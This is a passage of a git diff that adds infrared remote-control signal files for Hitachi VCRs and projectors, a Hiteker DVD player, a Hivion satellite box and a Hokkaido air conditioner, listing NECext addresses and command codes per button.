+address: 60 9E 00 00 +command: 46 00 00 00 +# +name: VTR2_COUNT_REMAIN +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 46 00 00 00 +# +name: VCR2_MODE +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 46 00 00 00 +# +name: VCR2_REPEAT +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 47 00 00 00 +# +name: VCR2_TV_MONITOR +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 63 00 00 00 +# +name: VCR2_EDIT +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 64 00 00 00 +# +name: EDIT +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 64 00 00 00 +# +name: VCR2_SET +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 65 00 00 00 +# +name: VCR2_JOG/SHUTTLE +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 68 00 00 00 +# +name: VCR2_SHUTTLE_FWD +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 75 00 00 00 +# +name: VCR2_SHUT_FWD_(F.S.) +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 75 00 00 00 +# +name: VCR2_SHUT_FFWD_>> +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 75 00 00 00 +# +name: CAM_SHUT_FWD +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 75 00 00 00 +# +name: VCR2_SHU.FWD(F.S) +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 75 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 75 00 00 00 +# +name: VCR2_SHUTTLE_REW +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 76 00 00 00 +# +name: VCR2_SHUT_REV_(F.S.) +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 76 00 00 00 +# +name: VCR2_SHUT_REV_<< +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 76 00 00 00 +# +name: CAM_SHUT_REV +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 76 00 00 00 +# +name: VCR2_SHU.REV(F.S) +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 76 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 76 00 00 00 +# +name: VCR2_JOG_FWD +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 7D 00 00 00 +# +name: VCR2_JOG/SHU.FORWARD +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 7D 00 00 00 +# +name: VCR2_JOG_REW +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 7E 00 00 00 +# +name: VCR2_JOG_REV +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 7E 00 00 00 +# +name: VCR2_JOG/SHU.REVERSE +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 7E 00 00 00 +# +name: VCR2_GO-TO +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 86 00 00 00 +# +name: VCR2_TITLE +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 8A 00 00 00 +# +name: 100/ENT +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 8B 00 00 00 +# +name: VCR2_100/ENT +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 8B 00 00 00 +# +name: VCR2_+100 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 8B 00 00 00 +# +name: VCR2_+100/ENT +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 8B 00 00 00 +# +name: VCR2_MTS_SA_SET +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 8C 00 00 00 +# +name: VCR2_PRINT +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 8E 00 00 00 +# +name: VCR2_SPECTRA_SONIC +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 8F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/97,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/97,-1.ir new file mode 100644 index 000000000..fb8bf5a86 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/97,-1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 61 00 00 00 +command: 00 00 00 00 +# +name: VCR_PROGRAM +type: parsed +protocol: NECext +address: 61 00 00 00 +command: 00 00 00 00 +# +name: VCR1_S.Q.P. +type: parsed +protocol: NECext +address: 61 00 00 00 +command: 00 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 61 00 00 00 +command: 14 00 00 00 +# +name: VTR_RECORD +type: parsed +protocol: NECext +address: 61 00 00 00 +command: 14 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 61 00 00 00 +command: 14 00 00 00 +# +name: VCR1_RECORD +type: parsed +protocol: NECext +address: 61 00 00 00 +command: 14 00 00 00 +# +name: VCR1_REC +type: parsed +protocol: NECext +address: 61 00 00 00 +command: 14 00 00 00 +# +name: VCR_REC +type: parsed +protocol: NECext +address: 61 00 00 00 +command: 14 00 00 00 +# +name: VCR1_REC-PLAY +type: parsed +protocol: NECext +address: 61 00 00 00 +command: 14 00 00 00 +# +name: VTR1_RECORD +type: parsed +protocol: NECext +address: 61 00 00 00 +command: 14 00 00 00 +# +name: PL +type: parsed +protocol: NECext +address: 61 00 00 00 +command: 40 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/97,159.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/97,159.ir new file mode 100644 index 000000000..a83a2fda6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/97,159.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: CAM_PROGRAM +type: parsed +protocol: NECext +address: 61 9F 00 00 +command: 00 00 00 00 +# +name: VCR2_S.Q.P. +type: parsed +protocol: NECext +address: 61 9F 00 00 +command: 00 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 61 9F 00 00 +command: 14 00 00 00 +# +name: VCR2_RECORD +type: parsed +protocol: NECext +address: 61 9F 00 00 +command: 14 00 00 00 +# +name: VCR2_REC +type: parsed +protocol: NECext +address: 61 9F 00 00 +command: 14 00 00 00 +# +name: CAM_REC +type: parsed +protocol: NECext +address: 61 9F 00 00 +command: 14 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 61 9F 00 00 +command: 14 00 00 00 +# +name: VCR2_REC-PLAY +type: parsed +protocol: NECext +address: 61 9F 00 00 +command: 14 00 00 00 +# +name: VTR2_REC +type: parsed +protocol: NECext +address: 61 9F 00 00 +command: 14 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Video Projector/135,69.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Video Projector/135,69.ir new file mode 100644 index 000000000..62741cda3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Video Projector/135,69.ir @@ -0,0 +1,584 @@ +Filetype: IR signals file +Version: 1 +# +name: RGB1 +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 10 00 00 00 +# +name: PC +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 10 00 00 00 +# +name: RGB2 +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 11 00 00 00 +# +name: DVI +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 12 00 00 00 +# +name: HDMI +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 12 00 00 00 +# +name: COMPOSITE_VIDEO +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 13 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 13 00 00 00 +# +name: S_VIDEO +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 14 00 00 00 +# +name: S-VIDEO +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 14 00 00 00 +# +name: COMPONENT_VIDEO_1 +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 15 00 00 00 +# +name: COMPONENT +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 15 00 00 00 +# +name: WIRELESS +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 16 00 00 00 +# +name: STANDBY/ON +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 17 00 00 00 +# +name: STANDBY_/_ON +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 17 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 17 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 17 00 00 00 +# +name: RGB +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 18 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 19 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 1A 00 00 00 +# +name: ONE_TOUCH +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 1A 00 00 00 +# +name: COMPONENT_VIDEO2 +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 1B 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 1D 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 1E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 20 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 21 00 00 00 +# +name: MENU_SELECT +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 21 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 22 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 24 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 28 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 28 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 2A 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 2A 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 2C 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 2C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 2E 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 2E 00 00 00 +# +name: POSITION +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 30 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 40 00 00 00 +# +name: BLANK +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 41 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 50 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 50 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 51 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 51 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 52 00 00 00 +# +name: MUTE_ON/OFF +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 52 00 00 00 +# +name: VOLUME_ON +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 53 00 00 00 +# +name: VOLUME +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 53 00 00 00 +# +name: ZOOM_+ +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 60 00 00 00 +# +name: ZOOM_- +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 61 00 00 00 +# +name: FOCUS_+ +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 62 00 00 00 +# +name: FOCUS_- +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 63 00 00 00 +# +name: LENS_SHIFT_+ +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 6A 00 00 00 +# +name: LENS_SHIFT_- +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 6B 00 00 00 +# +name: IRIS +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 6D 00 00 00 +# +name: BRIGHT_+ +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 72 00 00 00 +# +name: BRIGHTNESS_+ +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 72 00 00 00 +# +name: BRIGHT_- +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 73 00 00 00 +# +name: BRIGHTNESS_- +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 73 00 00 00 +# +name: CONTRAST_+ +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 74 00 00 00 +# +name: CONTRAST_- +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 75 00 00 00 +# +name: COLOR_+ +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 76 00 00 00 +# +name: COLOR_- +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 77 00 00 00 +# +name: C._TEMP. +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 79 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 7A 00 00 00 +# +name: GAMMA +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 7B 00 00 00 +# +name: GAMMA_-1 +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 7C 00 00 00 +# +name: GAMMA_-2 +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 7D 00 00 00 +# +name: GAMMA_-3 +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 7E 00 00 00 +# +name: GAMMA_-4 +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 7F 00 00 00 +# +name: MAGNIFY_ON +type: parsed +protocol: NECext +address: 87 45 00 00 +command: B0 00 00 00 +# +name: MAGNIFY_OFF +type: parsed +protocol: NECext +address: 87 45 00 00 +command: B1 00 00 00 +# +name: MAGNIFY_+ +type: parsed +protocol: NECext +address: 87 45 00 00 +command: B1 00 00 00 +# +name: MAGNIFY_- +type: parsed +protocol: NECext +address: 87 45 00 00 +command: B2 00 00 00 +# +name: MAGNIFY_+ +type: parsed +protocol: NECext +address: 87 45 00 00 +command: B3 00 00 00 +# +name: MAGNIFY_OFF +type: parsed +protocol: NECext +address: 87 45 00 00 +command: B3 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 87 45 00 00 +command: B4 00 00 00 +# +name: PINP +type: parsed +protocol: NECext +address: 87 45 00 00 +command: B5 00 00 00 +# +name: KEYSTONE +type: parsed +protocol: NECext +address: 87 45 00 00 +command: B6 00 00 00 +# +name: LIGHT +type: parsed +protocol: NECext +address: 87 45 00 00 +command: BB 00 00 00 +# +name: VIDEO_MEMORY_1 +type: parsed +protocol: NECext +address: 87 45 00 00 +command: C0 00 00 00 +# +name: VIDEO_MEMORY_2 +type: parsed +protocol: NECext +address: 87 45 00 00 +command: C1 00 00 00 +# +name: VIDEO_MEMORY_3 +type: parsed +protocol: NECext +address: 87 45 00 00 +command: C2 00 00 00 +# +name: VIDEO_MEMORY_4 +type: parsed +protocol: NECext +address: 87 45 00 00 +command: C3 00 00 00 +# +name: OPT_BLACK +type: parsed +protocol: NECext +address: 87 45 00 00 +command: CC 00 00 00 +# +name: BLACK +type: parsed +protocol: NECext +address: 87 45 00 00 +command: CC 00 00 00 +# +name: PICTURE_MODE +type: parsed +protocol: NECext +address: 87 45 00 00 +command: CD 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 87 45 00 00 +command: CD 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 87 45 00 00 +command: CE 00 00 00 +# +name: PC_-_P_UP +type: parsed +protocol: NECext +address: 87 45 00 00 +command: D0 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 87 45 00 00 +command: D0 00 00 00 +# +name: PC_-_P_DOWN +type: parsed +protocol: NECext +address: 87 45 00 00 +command: D1 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 87 45 00 00 +command: D1 00 00 00 +# +name: PC_-_F5_(SLIDE_SHOW) +type: parsed +protocol: NECext +address: 87 45 00 00 +command: D2 00 00 00 +# +name: PC_-_ESCAPE +type: parsed +protocol: NECext +address: 87 45 00 00 +command: D4 00 00 00 +# +name: ESC +type: parsed +protocol: NECext +address: 87 45 00 00 +command: D4 00 00 00 +# +name: PC_-_HOME +type: parsed +protocol: NECext +address: 87 45 00 00 +command: D5 00 00 00 +# +name: PC_-_END +type: parsed +protocol: NECext +address: 87 45 00 00 +command: D6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Video Projector/80,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Video Projector/80,-1.ir new file mode 100644 index 000000000..a41d2e222 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Video Projector/80,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0B 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 10 00 00 00 +# +name: VOL_^ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: RGB_1/2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 13 00 00 00 +# +name: VOL_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: STANDBY/ON +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 17 00 00 00 +# +name: VIDEO_1/2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 20 00 00 00 +# +name: CHANGE_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 32 00 00 00 +# +name: CHANGE_H +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 39 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 40 00 00 00 +# +name: MENU_^ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 4E 00 00 00 +# +name: MENU_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 53 00 00 00 +# +name: MENU_> +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5C 00 00 00 +# +name: MENU_< +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5D 00 00 00 +# +name: BLUE_BACK +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 6B 00 00 00 +# +name: ZOOM_TELE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 70 00 00 00 +# +name: ZOOM_WIDE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 71 00 00 00 +# +name: FOCUS_FAR +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 72 00 00 00 +# +name: FOCUS_NEAR +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 73 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir new file mode 100644 index 000000000..83134e908 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: PROGRESSIVE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir b/assets/resources/infrared/_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir new file mode 100644 index 000000000..e6699c0e5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0C 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0D 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0E 00 00 00 +# +name: tv/sat +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 10 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 11 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 12 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 13 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 14 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 15 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 16 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 17 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 18 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 19 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1A 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1B 00 00 00 +# +name: TV/RADIO +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1C 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 40 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 41 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 42 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 43 00 00 00 +# +name: a-z +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 44 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 45 00 00 00 +# +name: func +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 46 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 47 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner/77,178.ir b/assets/resources/infrared/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner/77,178.ir new file mode 100644 index 000000000..0c314616a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner/77,178.ir @@ -0,0 +1,350 @@ +Filetype: IR signals file +Version: 1 +# +name: off +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: DE 00 00 00 +# +name: fanlow +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: F9 00 00 00 +# +name: cool17low +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: F9 00 00 00 +# +name: cool18low +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: F9 00 00 00 +# +name: cool19low +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: F9 00 00 00 +# +name: cool20low +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: F9 00 00 00 +# +name: cool21low +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: F9 00 00 00 +# +name: cool22low +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: F9 00 00 00 +# +name: cool23low +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: F9 00 00 00 +# +name: cool24low +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: F9 00 00 00 +# +name: cool25low +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: F9 00 00 00 +# +name: heat17low +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: F9 00 00 00 +# +name: heat18low +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: F9 00 00 00 +# +name: heat19low +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: F9 00 00 00 +# +name: heat20low +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: F9 00 00 00 +# +name: heat21low +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: F9 00 00 00 +# +name: heat22low +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: F9 00 00 00 +# +name: heat23low +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: F9 00 00 00 +# +name: heat24low +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: F9 00 00 00 +# +name: heat25low +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: F9 00 00 00 +# +name: fanmed +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FA 00 00 00 +# 